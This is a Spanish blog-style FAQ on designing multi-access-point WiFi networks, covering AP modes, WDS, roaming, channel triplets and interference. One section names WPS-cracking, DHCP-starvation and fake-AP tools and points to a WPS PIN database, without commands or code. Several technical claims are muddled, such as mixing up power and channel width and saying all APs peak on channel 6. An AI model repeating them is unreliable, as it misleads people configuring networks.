    - Puta@&%#... Me engañaron de nuevo. Esa mier%$& de red se puso peor... ¿Qué hago? – le preguntó a su asistente, que encogía los hombros al no tener la respuesta.
    Y pasaron varios días de consultas en infinidades de foros en internet y preguntas a más "expertos", hasta que un joven, de apenas 13 años, que paseaba por esos lados, con sus enormes audífonos, se detuvo en una venta de bebidas gaseosas, al lado del cibercafé, se quitó sus “orejas” y escuchó las quejas del admin sobre el caos en su red, que afuera del local, fumaba un cigarrillo tras otro mientras hablaba por teléfono.
    Como por instinto, prendió su tablet y corrió WiFi Analyzer de Farproc y luego InSSider de Metageek, a los pocos minutos…
    - ¡¡Cabeza de huevo!! – le gritó el joven- No ves que tienes 10 overlapping, 3 co-channel y solo Dios sabe cuántos cuellos de botella... –y dio la espalda y se marchó, mientras seguía hablando consigo mismo, en un lenguaje lleno de tecnicismos incomprensibles. Solo la frase “Stupid Animal” se alcanzaba a oír, entre jerga y más jerga informática, la cual se desvaneció junto con la música que volvía a resonar en sus audífonos.

    El Problema
    A medida que se fabrican más dispositivos con capacidad de transmisión RF, más aumentan las interferencias WiFi y No-Wifi, que son tantas que describir cada una sería imposible.
    Es por esta razón que hemos diseñado una especie de FAQ, el cual representa la opinión de muchos especialistas en el ramo, foristas y muchas otras fuentes (referenciadas en lo posible mediante enlaces), a modo de “entrevista”, la cual esperamos satisfaga muchas de las interrogantes actuales.
    Nota importante: En ocasiones usaremos el término AP, no solo para referirnos a un Access Point sino también para describir cualquier dispositivo con capacidad de transmitir señal RF (WiFi) y que puedan gestionar clientes conectados, con posibilidad o no de administrar una red.

    La "Entrevista"
    Hay muchos que aún no saben cómo montar una red Wifi. ¿Existe algún manual que en pocas palabras pueda aclararnos las dudas?
    Recomendaríamos el post Seguridad en Redes Wireless. Creo que ahí están resumidos los aspectos más básicos de una red local WiFi, pero si quieres algo más completo y detallado, lo encontrarás en el libro Redes Wireless de la editorial RedUsers... En fin en San Google hay mucha tela por donde cortar.
    Logré armar mi red local con un AP, sin embargo estos documentos solo explican cómo hacerlo con un solo dispositivo para todos mis clientes. ¿Aplica igual si necesito varios APs? ¿Cómo debo configurarlos? ¿Deben tener el mismo SSID, canal, clave y sistema de autenticación, mismo modelo de AP, o se puede ser hacer una red híbrida con varios modelos de AP de diferentes marcas y ponerle configuraciones diferentes a los APs?.
    Como dicen los colombianos: "Depende". Todo radica en la arquitectura que uses. Por ejemplo; si tus APs se encuentran en modo "Bridge" (Puente), conectados todos mediante un cable ethernet (con POE o alimentación directa de corriente), cada uno conectado a un switch y tu red LAN administrada por un Hotspot, router o un servidor, no recomiendo que todos tengan el mismo SSID, ya que los APs solo se diferencian por la MAC de cada uno, y los clientes comenzarán a hacer roaming (capacidad de moverse en una zona de cobertura) todo el tiempo, entre los puntos, y eventualmente puede generar una sobrecarga al AP. Esto no afecta a la seguridad (clave SSID y clave de administración).
    Ese tipo de configuración (donde todo es igual), da mejores resultados cuando usas otros modos diferentes a Bridge. Más bien una red de puntos AP (también llamados "celdas"), con un grado determinado de solapamiento entre ellas, que permiten hacer el roaming y unir redes wifi con físicas.
    Una ilustración gráfica del funcionamiento de los diferentes modos de los AP puedes verla en zero13wireless.net .

    Básicamente los modos más comunes son:
    Acces Point - (Punto de Acceso, AP) Recibe la señal por cable de red (RJ45) y la distribuye en forma inalámbrica. Ej. convertir tu Internet alámbrico a inalámbrico.
    AP Client - (Cliente de AP) Recibe una señal inalámbrica y lo pasa a cable de red (RJ45). Ej. Conectar a la red WiFi, alguna PC, Teléfono IP, Impresora, etc. que requieran forzosamente cable de red.
    Client Bridge - (Cliente de la Unión) Recibe la señal inalámbrica de otro AP y la distribuye por cable, no permite conexión inalámbrica. Ej. Establecer una sola red entre dos edificios.
    WDS Bridge - (Unión Inalámbrica) Recibe la señal inalámbrica de otro AP y la distribuye por cable o de forma inalámbrica. Ej. Establecer una sola red entre dos edificios.
    Client Router - (Ruteador Cliente) Recibe la señal inalámbrica y la distribuye asignándole IP's a los clientes. Ej. Compartir Internet con otros equipos cableados.
    Repeater - (Repetidor) Recibe una señal inalámbrica, la mejora y la repite. Ej. aumentar la señal inalámbrica.
    WDS AP - (Wireless Distribution System AP) Igual que Acces Point.
    WDS Router - (Wireless Distribution System Router) Igual que Client Router.
     
    Hay que aclarar que el modo roaming también depende de que la tarjeta WiFi del cliente lo soporte, lo cual es más complicado, ya que si tienen una red abierta o hotspot para vender internet WiFi, con mucha gente diferente conectada, es virtualmente imposible saberlo y pueden presentarse problemas de conectividad al "saltar" de un AP a otro con el mismo SSID. También influye el canal de trasmisión, la velocidad, el cifrado y el estándar (IEEE 802.11 b, g, n, etc), si usan SSID virtuales (que puede generar más problemas que beneficios), entre muchos otros factores.

    ¿Y qué sucede si les pongo diferentes parámetros de configuración a cada AP?
    Es más engorroso para el cliente, ya que debe conectarse a cada punto individualmente, pero mejor para la red, ya que este esquema tiene menos carga y provoca menos saturación de tráfico de los APs y en el servidor o router que administre la LAN y por consecuencia menos fallas. Claro está, siempre y cuando los APs sean de buena calidad, tengan la misma tecnología, soporten todos los clientes conectados, y viceversa (estos a su vez soporten los APs). Todo depende de las necesidades específicas del administrador.
    Analicemos 3 casos:
    1. Cuando los clientes, al hacer login en cada uno de los APs, memorizan el trinomio Clave WPA/BSSID/ESSID la primera vez y hacen roaming, pero no seamless (hay pérdida de datos en el salto).
    2. Si establecemos el mismo ESSID, seguridad y también BSSID en todos los APs, el cliente recibe tráfico duplicado de los dos APs y sólo necesita memorizar una vez el trinomio Clave WPA/BSSID/ESSID (ya que hay un "único BSSID"), pero el handover tampoco es seamless, ya que al cambiar de canal Wi-Fi la interfaz del cliente se cae por unos instantes y pierde datos de forma irrecuperable, por los protocolos como el TCP.
    En palabras de Seguridad Wireless:  "si establecemos el mismo ESSID y seguridad en todos los APs, los clientes se dan cuenta de que no es el mismo AP (ya que ven dos MACs distintas con el mismo nombre). Algunos clientes (en dependencia de su sistema operativo y versión) muestran una o varias redes con el mismo nombre, pero no hacen roaming transparente".
    3. Si establecemos el mismo ESSID, seguridad, BSSID, canal, administración, etc; o sea todos los APs parametrizados iguales, como si fuesen clonados, es el peor de los escenarios; la suma de todos los miedos; Satanás haciendo de las suyas; ya que la red se vuelve loca y todo es un caos... Y mayor es el caos si están cerca uno de otro.
    Conclusión: Hay que añadir un administrador de red "inteligente" (centralizado o distribuido) que filtre a nivel MAC las tramas de cada AP, para que sólo uno de ellos responda a cada cliente (el que tenga mejor RSSI), sin embargo esto no aplica para redes públicas donde no hay filtrado MAC.... O sea; no hay solución por el momento para el problema del roaming transparente.

     ¿Y si activo el modo WDS?
    Wireless Distribution System (WDS), dicho en palabras cristianas, sirve para unir de forma inalámbrica (como si fuera un cable Ethernet o tener conectados dos switch) dos ubicaciones diferentes en el mismo nivel  (nivel 2 - bridging).
    Su ventaja principal es que todas las subredes podrán comunicarse fácilmente; o sea, desde un enlace punto a punto puedo crear otro enlace similar hacia otra red y así sucesivamente. O sea; en las redes interconectadas las estaciones registradas pueden verse entre sí de forma transparente, mediante bridging. Por eso se recomienda activarla si está disponible en el AP, siempre y cuando vayas a tener más de un dispositivo tras ese enlace.
    WDS se usa mucho en entornos de aplicaciones "punto-multipunto", o para repetir la señal, ya sea por baja cobertura o por obstáculos.
    Tiene dos modos: Cliente WDS (que no tiene la propiedad de emisor cuando realiza un enlace y se conoce como AP Inverso; o sea recoge la señal WiFi y la envía por un cable ethernet a la red local) y AP WDS (que puede establecer varios enlaces punto a punto. Si tienes varios AP que soporten WDS, uno hace de AP WDS y el resto de Station WDS.

    Entonces, la solución es comprar APs que soporten la tecnología WDS
    No tan rápido. Esta tecnología tiene sus limitaciones. Si vas a usar "punto a punto" no se recomienda el uso de WDS, ya que disminuye el troughput en un 50%. En "punto a punto" es más recomendable el modo AP en el punto A y modo Cliente en el punto B.
    Otra de sus limitaciones es que en algunos fabricantes (como Ubiquiti en algunos modelos) solo admite hasta 6 dispositivos interconectados. Algo similar le sucede a la tecnología UniFi de este fabricante; es excelente, ya que tiene hotspot nativo y mucha seguridad, pero solo permite enlazar hasta 2 dispositivos a la vez, como repetidores.

    Decídete. ¿es buena o es mala la tecnología WDS?
    El mundo WiFi no es negro ni blanco, sino gris. Si tus APs están unidos por cable a un swich, no es necesario que también los unas por WDS. Esta tecnología está diseñada principalmente para crear un sistema wireless distribuido. La direcciones ips de los clientes las obtienen del AP principal, Router, Hotspot o servidor, que tenga el DHCP, o se asignan manualmente, y se deben elegir muy bien los canales donde van a trabajar y hacer el estudio de frecuencia. Ten presente también que el trougtput se va dividiendo a medida que se agreguen más repetidores.

    Pero tus afirmaciones contradicen algo que leí en un foro especializado, y explicaban que WDS era la mejor solución al ya “espinoso asunto” de la desconexión momentánea al hacer roaming transparente entre APs
    Mitiga bastante el problema, pero no garantiza un 100% de transparencia. De hecho ninguna de las tecnologías actuales garantiza esto, ya que al hacer roaming se pierde la mitad del ancho de banda.
    Supongo que cuando se masifiquen los nuevos estándares IEEE 802.11r y ac, y comience a usarse la banda de los 5 Ghz, tal vez se podrá erradicar este problema de raíz y de paso el de las interferencias; no lo sabemos con certeza, porque podemos trasladar el problema a otra banda; sin embargo, sea cual sea el futuro, estas nuevas tecnologías debe ser implementadas en los dos extremos de la conexión; o sea, tanto en los APs como en los clientes… y los fabricantes se olvidaron de ellos, al incorporar dispositivos WiFi de mala calidad en laptops, tablets y smarthphones, solo aptos para 2.4 Ghz.

    WDS, WPS; a veces me confundo con tantos términos...
    Pues no te confundas. WPS (Wi-Fi Protected Setup) es otra tecnología incorporada a los APs WiFi y no recomendamos su uso, ya que es susceptible a ataques informáticos, con Reaver-WPS, Bully y otras técnicas. El ataque consiste en obtener el PIN secreto de la Red y reventar la llave de encriptación WEP o WPA, atacando la funcionalidad WPS. En site40 puedes encontrar una base de datos de pines WPS. Una descripción de este ataque está en Villacorp. Una vez dentro el atacante puede hacerse con las MACs de la red e identificarlas según su fabricante, para determinar sus parámetros y el resto es historia.

    ¿Los puntos de acceso WiFi pueden ser atacados?
    Por supuesto. Los más comunes son denegación de servicios DDoS, DNS Spoofing (con WiFi Pineapple) , por inundación DHCP (DHCP Sarvation), con herramientas como Gobbler, Yersinia, Metasploit, DHCPig, AirRaid, etc y los autoataques por AP-reset, entre muchos otros. Un procedimiento para atacar un nodo Wifi se describe en el post "Ataque DoS".
    Android tiene muchas herramientas para estos menesteres, como WiFi Kill, entre otras.
    Otra modalidad es montar puntos de acceso "Fake" (como Karmetasploit, Fake AP, Gerix, FuzzAP, AirRaid, etc), con configuraciones similares al original, pero con un MITM para capturar los datos de los AP reales o simplemente para ofuscar redes. Los hotspot tampoco se salvan de una escalada, ya que no tienen una seguridad muy estricta, ni tampoco el nuevo y flamante estándar Miracast.
    Podemos usar un cifrado WPA2 AES (que es el más "seguro" y consume menos memoria), sin embargo a la hora de un ataque dirigido contra un celda, estas claves no son ninguna garantía; y como el cifrado WEP y WPA (TKIP) han sido comprometidos, ahora la pregunta que todo el mundo se hace es: ¿cuánto tardará en caer WPA2 AES?... Es solo cuestión de tiempo; y algunos afirman que ese día ya llegó.
    Y es precisamente por esto que la seguridad de una red basada en WiFi no puede radicar exclusivamente en los APs. Debe existir al menos un Escudo de Red que proteja el perímetro de la LAN y un segundo "muro de contención" por si es burlada; y lo mejor es, como mencioné anteriormente, una "administración inteligente", que puede ser un proxy basado en GNU/linux, hotspot, o cualquier otra solución administrable.
    También podemos usar un antiespía para evitar el monitoreo con Pry-Fi o cualquier otra herramienta, en dependencia de la plataforma que estemos usando (Android, Linux, Windows, Mac, etc.), optimizar la zona de cobertura de nuestros AP y utilizar una red de Honeypot virtuales (como Honeynet) para reunir datos de los atacantes y usar sus mismas técnicas; en fin...

    ¿Autoataques por AP-reset? ¿Qué es eso?
    Supongamos que tienes un nodo inteligente que administra tu red local (servidor proxy, router o hotspot) y que vas a usar IPs clase C en la diagramación de la LAN. ¿Cuál sería la ip que le pondrías?...

    Supongo que la 192.168.1.1 o la 0.1
    Como la mayoría. Y sabes cuál es la IP que trae por defecto la mayoría de APs? (routers, Access Points y demás dispositivos WiFi)... Salvo algunas excepciones, como los APs de Ubiquiti que usan la .20, la mayoría de los equipos WiFi utilizan la misma IP que acabas de mencionar; 192.168.0.1 o 1.1.
    Lo anterior nos lleva inevitablemente a la siguiente pregunta: ¿Qué sucedería si hay un cambio de voltaje o cualquier otro evento (natural o provocado), que obligue al AP a auto-resetearse (algo que ocurre frecuentemente)

    Se pierde la parametrización personalizada y todo queda "de fábrica"
    Y esto provoca una colisión con nuestro servidor o nodo principal, que tiene la misma IP del punto WiFi con los valores "de fábrica", y ya puedes imaginar lo que sucede. Es por eso que la dirección IP de nuestro administrador de red, jamás puede ser la misma que las que traen por defecto los APs. Es más; se recomienda dejar estas "IPs default" sin uso, para en el caso que ocurra este tipo de eventos y los APs hagan "reset" por sí mismos, no se presenten colisiones en la red local.

    ¿Durante la entrevista he escuchado mencionar 'estudio de frecuencias’?
    Antes de montar una red WiFi, lo primero (insisto; lo primero) que hay que hacer es un análisis de la banda con la que se va a trabajar y de los canales disponibles, de acuerdo a la región donde nos encontremos. Es lo que se conoce como ‘estudio de frecuencias’. O sea, analizar, con alguna herramienta disponible, el espectro y ver los canales de transmisión de los diferentes nodos usados e ir ajustando los nuestros para que no haya solapamiento y otros tipos de interferencias.
    Los artículos recomendados al principio son el punto de partida para construir una red WiFi. Ahora viene el principal y más grande problema que aqueja a las redes WiFi: La interferencia.
    Las interferencias (RF) son las causantes del mal desempeño de las redes WiFi, la cobertura irregular y las caídas de las conexiones. La interferencia, que se produce durante la transmisión, también causa pérdida de paquetes, lo que obliga a las retransmisiones WiFi. Estas retransmisiones ralentizan el tráfico y ocasionan un rendimiento extremadamente fluctuante para todos los usuarios que comparten un determinado al AP.
    Las herramientas de análisis de espectro, que se integran actualmente en los AP para ayudar al administrador TI a visualizar e identificar las interferencias, muchas veces son inútiles, pero a pesar de esto son imprescindibles.
    La interferencia RF se acentúa con el estándar 802.11n, ya que utiliza múltiples ondas de radio dentro de un AP para transmitir simultáneamente varios flujos de Wi-Fi en diferentes direcciones y lograr así una conectividad más rápida, lo cual no siempre sucede.
    Existen muchos tipos de interferencia, como overlapping (solapamiento), crosschannel, co-canal (co-channel), Wifi Inverted, Invalid Channel y Non Standard, esta última también llamada No-Wifi; en fin, hay un centenar y todas generan pérdidas de datos y mal funcionamiento de nuestra red.

    Qué es eso de "interferencias No-Wifi"?
    Son aquellas que no se usan normalmente en redes WiFi, pero que transmiten en frecuencias de radio similares a WiFi, como por ejemplo Bluetooth, infrarrojo, entre otras.

    ¿Cómo puedo evitarlas?
    Son más difíciles de detectar y evitar. Hay que saber qué tipo de dispositivos electrónicos interfieren con nuestro AP. Los más comunes son, hornos microondas, teléfonos inalámbricos, marcapasos, consola Wii, equipos de ayuda para la audición, altavoces, monitores para bebés, bluetooth, cámaras ip, etc. Adicionalmente, también pueden causar interferencias las líneas y estaciones de energía, antenas, barreras físicas, como paredes y pisos, que bloquean el paso de una señal, los aires acondicionados, neveras, y un excesivo y largo etc.
    Existen app, como WiSense y Airshark, que supuestamente pueden detectar estas interferencias no-WiFi, sin embargo son versiones en desarrollo, por tanto se desconoce su efectividad. También hay dispositivos de hardware que hacen este trabajo, pero son escasos y muy costosos.

    Veo que es un problema grande el que enfrenta esta tecnología. ¿Qué han hecho los gobiernos?
    Las bandas WiFi (Lea ISM/UNII) usan una parte del espectro que no requiere de licencia en casi todos los países, sin embargo algunos gobiernos, después de enormes presiones, ya han comenzado a tomar medidas para evitar esta problemática, poniendo topes a la potencia de transmisión de los equipos comerciales y multas a aquellos que violen la regulación.
    Por ejemplo, la FCC (EEUU) el límite de potencia máximo es de 1 vatio (30 dBm); en Europa, es de 250 mW (24 dBm); en Colombia de 100mW (potencias superiores deben tener un permiso del Ministerio de las TIC y de la Aeronáutica, si lo van a instalar cerca de un aeropuerto; y deben pagar impuestos).
    Pero no podemos sentarnos a esperar que los gobiernos solucionen el problema. Hay que tomar iniciativas.

    ¿Qué clase de iniciativas?

    Con un buen ajuste de los parámetros de nuestra red WiFi. Por ejemplo, supongamos que tenemos 4 APs distribuidos por varias zonas de nuestra empresa, edificio o escuela. Para el caso del IEEE 802.11b o 802.11g, que trabajan a 2.4GHz, y que es la banda más usada y por ende la más saturada (salvo 802.11n que hace uso simultáneo de 2,4 Ghz y 5 Ghz), los canales se separan por 5.


    Si le asignas al AP1 el canal 1, el AP2 (que es el más cercano al AP1) le asignamos el canal 6. El AP3, (que está cerca del AP2, pero lejos del AP1) le asignamos el canal 1 y al AP4 (que está cerca del AP1 y AP2) le asignamos el canal 11. Con esto evitarás solapamiento de señal.
    También se hace no solo con los canales 1/6/11, sino también con los 2/7/12 y 3/8/13. A esto se le conoce como ‘tripletes’.
    La explicación de este comportamiento la proporciona Blog.Gnutic: ‘Esta frecuencia (2.4) se subdivide en canales separados por 5 MHz. que van desde el 1 hasta el 14; en Europa solo se usa el rango del 1 al 13. El problema es que cada canal necesita 22MHz como mínimo de ancho de banda y provoca solapamiento con los canales adyacentes. Si dividimos 22/5 nos da como resultado 4’4 canales de ancho; esto significa que cada canal necesita 2’2 canales por cada lado de su frecuencia origen para emitir. Así pues, para evitar las interferencias al 100% deberemos tener una separación entre un canal empleado y otro de al menos 5 unidades, aunque lo cierto es que una separación entre 3 y 4 canales será suficiente y tendremos pocas interferencias’.
    Lo anterior sin importar que los AP tengan o no el mismo SSID, parámetros de red, sean o no de la misma marca y modelo, etc, y asumiendo que haya pocas redes a tu alrededor. Caso contrario escoge el canal libre menos usado y asígnalo a los AP.

    Entonces, es fácil. Elijo un triplete de canales que esté libre y ya tengo a punto mi red WiFi
    No cantes victoria. Hay que tener en cuenta la cercanía de otras redes para asignar los canales; y en una ciudad o edificio con cientos de APs, la cosa se complica, ya que se produce lo que se conoce como interferencia co-channel o co-canal (reutilización de frecuencias); un fenómeno que se ve mucho en el Handover
    Además, también influye el tipo de AP a usar, su velocidad teórica y práctica, su alcance y el de los clientes; incluso afecta hasta el nombre que le pongas al SSID (si son comas, puntos, etc), su autenticación (WPA2-PSK AES u otra); hay muchos factores en juego.

    Mmmm... No me quedó muy claro.
    Tranquilo; existen herramientas que hacen el trabajo sucio por nosotros; desde las gratuitas hasta las más costosas. Gratis está Netstumbler, Vistumble, TekWifiKismet, LinSSID (para Linux), WiFi Auditor, y la megabatería de apps para Android, tales como, WiFi Analyzer, Who Is On My Wifi, RF Signal Tracker, Bugtroid Pentesting, Wi-Fi Analytics Tool, Dsploit, y un largo etc. También existen distros de Linux especializadas en auditoría wireless, como Kali, WifiSlax, Backtrack, Arudius, entre otras; todas de excelente manufactura, las cuales pueden revisar los canales de tu red y de las más cercanas y realizar una buena auditoría.
    Pagos tenemos a Wi-spy de metageek (ChanalyzerInssider), Airview de Ubiquiti (solo se puede usar con dispositivos Ubiquiti de la serie MIMO y algunos ya lo traen incorporados) o con adaptadores usb airView2, airView2-EXT, airView9, airView9-EXT); Cisco CleanAir (incorporada a sus AP aironet); Chanalyzer con CleanAirCisco Spectrum Expert, entre otras;  pero si tienes mucho $$$$$$, puedes comprar la super suite AirMagnet WLAN Design & Analysis Suite de Fluke, que con su AirMagnet WiFi Analyzer PRO, AirMagnet Spectrum XT y el tester Air Tester podrás hacer un excelente trabajo de diagnóstico. También están los handheld, como Fluke AircheckSpectrum Analyzer BundlesWilangoArtisan, etc.
    Nosotros recomendamos las mismas herramientas que uso el joven al principio de este post.
    Consideramos importante resaltar que la función de las herramientas descritas es ayudar en la toma de decisiones del administrador IT, respecto a la arquitectura de la red local y demás parámetros relacionados con la red WiFi, y también proporcionar información sobre las redes WiFi adyacentes, pero estas herramientas no hacen milagros.
    En un entorno sobresaturado de APs, sin canales libres, es necesario compartir canales con otras redes y hay una gran diferencia en hacerlo con una red adyacente de poco tráfico a compartirlo con una que tenga mucha demanda, ya que tendríamos problemas a la hora de emitir nuestra señal RF. Algunas de estas herramientas tienen la capacidad de analizar tráfico de redes adyacentes, pero consideramos mejor usar un sniffer (Acrylic WiFi, Wireshark, dsniff, Capsa, tcpdump, etc) para capturar paquetes de las redes adyacentes y así medir su tráfico real.

    Ya tengo algunas herramientas mencionadas (las gratis porque no tengo $$$$), pero no se elegir el canal adecuado para mi red WiFi. Estas app me ofrecen demasiada información que no comprendo.
    Hay algunos principios básicos que debes saber antes de usarlas:
    1. A mayor cantidad de APs, que operen en un mismo canal, más interferencia causan entre ellos; y si operan en canales diferentes, pueden causar interferencias con otras redes.
    2. La velocidad de acceso de los clientes dependerá de su cercanía al AP
    3. Cada AP debe tener su propia área de cobertura.
    4. Hay que tener en cuenta la zona Fresnel, que no es más que el área (de forma elíptica) que sirve de propagación a una señal RF. Para que sea de utilidad debe de mantenerse alrededor del 60% libre de obstáculos
    5. Es muy importante calcular las pérdidas generadas por cable coaxial, por el espacio libre de la banda, la sensibilidad del receptor, la proporción señal ruido, etc. Para mayor información sobre este punto puedes visitar GuateWireless
    6. Las bandas autorizadas para los equipos WiFi son 2.4 y 5 Ghz. La de 5 es la mejor, pero casi no se usa y son escasos los fabricantes que incluyen en los laptops, tablets, PCs y smarthphones, tarjetas WiFi que soporten trabajar con la banda 5GHz. Es por esta razón, que sin importar que tu AP trabaje en la banda de 5Ghz, es muy poco probable que puedas hacer uso de ella.
    Si tienes en cuenta estos principios, podemos pasar al siguiente nivel. Primero que nada, hay que saber qué canales están disponibles en la banda 2.4 Ghz (que es la que trataremos en este post). La cantidad de canales disponibles depende de la región donde esté configurado el AP.
    Canal 01: 2.412 Ghz
    Canal 02: 2.417 Ghz.
    Canal 03: 2.422 Ghz.
    Canal 04: 2.427 Ghz.
    Canal 05: 2.432 Ghz.
    Canal 06: 2.437 Ghz.
    Canal 07: 2.442 Ghz.
    Canal 08: 2.447 Ghz.
    Canal 09: 2.452 Ghz.
    Canal 10: 2.457 Ghz.
    Canal 11: 2.462 Ghz.
    Canal 12: 2.467 Ghz.
    Canal 13: 2.472 Ghz.
    Canal 14: 2.484 Ghz.
    Nota: Te recuerdo que los puntos en inglés dentro de cifras numéricas corresponden a la separación entre decimales y parte entera de la cifra.  2.4 Ghz=2400Mhz
    Ojo: Los canales 12 al 14 no se usan en América. Así que de nada vale que los elijas. Y así el AP permita ponérselos, los clientes nunca encontrarán una red WiFi que trabaje en estos canales (salvo que fuercen el hardware, lo cual en ningún caso es recomendable ni práctico).
    Al grano. Cada canal necesita un ancho de banda de 22 Mhz para transmitir la información, por lo que se produce un inevitable solapamiento de varios canales contiguos. Para evitar interferencias en presencia de varios puntos de acceso cercanos, estos deberían estar en canales no solapables (tripletes). O sea, si vas a trabajar con 802.11b o 802.11g (2.4GHz) deberías utilizar canales que estén separados 5 puestos (1/6/11, 2/7/12 y 3/8/13).
    A la hora de escoger un canal se debe tener en cuenta el nivel de penetración de la radiación electromagnética, el cual es inversamente proporcional a su frecuencia (cuando la radiación electromagnética es de baja frecuencia, atraviesa limpiamente las barreras a su paso). En teoría, cuando más alta es la frecuencia hay más atenuación (pérdida de potencia).
    También hay que tener en cuenta la antena y los cables que uses, la atenuación isotópica, la recepción de la señal, el factor de ruido de fase, etc. Por ejemplo, la antena tiene que estar compensada a punto, para que la onda pueda ser de mayor potencia y así no emitir ondas resonantes que dañen o interfieran un canal cercano (más conocido como ruido o interferencia). En este caso, lo mejor es probar transmitiendo en un canal y captar esta señal lo más lejos posible, con cualquiera de los programas citados arriba, sin embargo para un diagnóstico preciso las conexiones, lo más recomendado es poner APs iguales y con las mismas antenas. De esta manera se puede saber cuál es el mejor canal en que el AP y el receptor están trabajando.
    Cuando son equipos o antenas diferentes es una de las causas más frecuentes de sobrecalentamiento en los APs (en unos más que otros), ya que, si la carga de la antena no es la adecuada, la energía que no puede irradiar (ROE) es devuelta al AP y se produce el sobrecalentamiento.

    ¿Y si aumentamos la potencia para evitar la atenuación y la interferencia?
    Este es el legado que ha dejado la publicidad barata de los vendedores inescrupulosos, que engañan a los clientes diciéndoles que a mayor potencia se evita la atenuación y las interferencias. Desafortunadamente muchos administradores de red principiantes se dejan llevar por este ardid comercial y están creando el mayor caos en la historia, causando ‘interferencias deliberadas’ en la transmisión RF. Y lo peor de todo esto es que los organismos que deben regular el espectro no hacen nada para evitarlo.
    Ponerle más potencia a un AP no necesariamente significa mejoras en la transmisión RF de nuestro punto WiFi, ya que puede aumentar la interferencia al colisionar la señal con otras redes.


    Supongamos que ponemos un AP en nuestro hogar para enlazar el PC, la tablet y una laptop. No tiene ningún sentido que el AP tenga un alcance de 2 Kilómetros con una antena de 15 dbi; es como matar mosquitos con un fusil de francotirador.
    Aquí lo más recomendable es realizar un estudio de lo que se quiere, y colocar un AP en dependencia del área de cobertura que se pretenda atender. Y si hay otros APs transmitiendo que solapan nuestra señal y todos los canales están ocupados, podemos hacer lo contrario; bajarle la potencia a nuestro AP, incluso por debajo de los 20 Mhz; y si estas transmitiendo en 802.11n, puedes pasarte a G, ya que N transmite los paquetes en varios canales, y si alguno está saturado puedes comprometer el funcionamiento de tu equipo. Los vendedores nos engañan diciéndonos que N es más rápido, bla, bla, bla y a veces ni siquiera tenemos el ancho de banda suficiente para usar esta tecnología o el cliente que se va a conectar no es compatible con N (la mayoría de los casos).
    Por tanto, para que funcione la comunicación cliente-AP, el estándar del adaptador WiFi del cliente debe ser igual o anterior al estándar del AP.
    Por ejemplo, si el adaptador de red de tu PC usa 802.11n, pero tu AP usa 802.11g, no se podrá realizar una conexión, porque el estándar Wireless-G es de una versión anterior y no reconoce Wireless-N. Sin embargo, si el AP usa Wireless-N, pero el adaptador de tu PC usa Wireless-G, la conexión se podría realizar si el AP está configurado en modo mixto, ya que Wireless-N funciona con algunos de los estándares anteriores (802.11a, 802.11b y 802.11g) o con todos ellos.
    Otra cosa que nunca nos dicen estos vendedores inescrupulosos es que el WiFi es un medio half-dúplex, por tanto su velocidad real es más o menos la mitad de la teórica. En otras palabras, es la mitad de lo que dice en la caja del producto.
    IEEE 802.11b:  hasta 11Mbps teórico/6Mbps reales
    IEEE 802.11g:  hasta 54Mbps teórico/25Mbps reales
    IEEE 802.11n: hasta 300Mbps teórico/150Mbps reales
    En conclusión, lo mejor en este caso es tener APs que soporten todos los estándares actuales y que tengan una potencia balanceada (de acuerdo a las necesidades), para evitar perder visibilidad frente a otras redes (débiles o fuertes) y así minimizar el riesgo de colisión por estación escondida.

    ¿Cómo podemos evitar estas ‘interferencias deliberadas’?
    Mejorando la calidad de la señal, en medio de esta selva WiFi de las grandes urbes. Esta se mide como la cantidad de pérdida respecto a la fuente original (AP). Por ejemplo, si el cliente está ubicado a pocos metros del AP WiFi, la calidad de la señal recibida posiblemente sea -25dBm, lo cual significa una pérdida muy pequeña, en cambio si está por encima de los 90 metros, muy probablemente la calidad obtenida sea de -80dBm. Un valor óptimo sería entre -75 dBm y 0 dBm (entre más cercano a 0, mejor).
    Para determinar la calidad de la señal WiFi recomendamos Inssider o WiFi Analyzer, disponibles para Windows y Android. En el siguiente ejemplo (imagen izquierda), vemos que la red de mejor calidad de señal es ‘WR1043ND-OWrt’ (con -20dBs) y la de peor calidad es ‘TRENDNET’ (con -83dBs)
    Naturalmente, hay que tener en cuenta la ubicación de referencia desde la cual se realiza la prueba. En este caso, Inssider debe correr en la zona media de su red local, para que proporcione datos fiables.
    Wifi Analyzer también puede realizar esta labor con una muy buena efectividad, desde una tableta o smarthphone con Android. Sin embargo, sea cual sea la herramienta que use, tenga presente que depende del cliente que la está ejecutando, de su hardware y del adaptador de red. Es por eso que se recomienda adquirir un adaptador de red de buena calidad, o especializado para realizar estas pruebas.

    Hace poco mencionaste el "ancho del canal". ¿Cómo funciona?
    El Channel Width (ancho del canal) es de 22 o 40 mhz (20Mhz, 10Mhz, 5Mhz y 40Mhz). A mayor ancho de canal, más velocidad teórica puedes llegar a obtener, pero también más interferencias de los canales contiguos y en dependencia de esto, es que se hace la selección de canales para operar. Las señales wifi se emiten por defecto en canales de 20 Mhz (aunque algunos AP ya vienen configurados para trabajar con 40 Mhz).
    Los equipos Wifi N tienen doble antena y pueden emitir por una antena usando un canal, dando como resultado un ancho de banda de 150 Mbps o por 2 antenas usando un canal por cada una de ellas, dando como resultado un ancho de banda de 300 Mbps. Es por eso que en algunos analizadores de banda, como Inssider, vemos una red N que marca, por ejemplo, algo como 13 + 9.  Esto significa que transmite en dos canales a la vez (doble ancho de canal). N trabaja con 40 Mhz (se utilizan las 2 antenas) en cambio los inferiores trabajan con 20 Mhz (una antena).
    Usar doble de ancho de banda tiene el inconveniente es que la red será más sensible a interferencias con otras redes cercanas. Un excelente documento técnico que lo explica es el de connect802.com. Sin embargo los 40Mhz no son recomendables en ningún caso, como bien lo explica redeszone, ya que pueden generar mayor interferencia.
    De acuerdo al foro.elhacker.net,  bajándole a la potencia de transmisión al AP se pueden realizar enlaces sin antena o con un cable, sobre todo si tu router está cerca del ordenador. Si tu antena a una frecuencia determinada coincide con un múltiplo impar de 1/4 de longitud de onda, entonces la antena estaría en resonancia y trasmitiría bien.
    Por ejemplo; cada canal está separado por 5Mhz para evitar que un AP que transmita en el canal 5 no se solape en el canal 6, tu AP puede modificar la frecuencia de separación entre estos canales. Si le pones a tu AP un channel width de 40 Mhz estaría transmitiendo en 8 canales al mismo tiempo, siendo la máxima potencia transmitida en el centro de la banda (en el canal que hayas puesto el AP).
    Todos los AP tienen su máxima potencia de transmisión en el canal 6, ya que es el centro de banda de la señal wifi y las antenas son calculadas para esta frecuencia. Lo malo de utilizar el canal 6 es que es muy usado y por lo tanto está saturado de señales (co-channel)
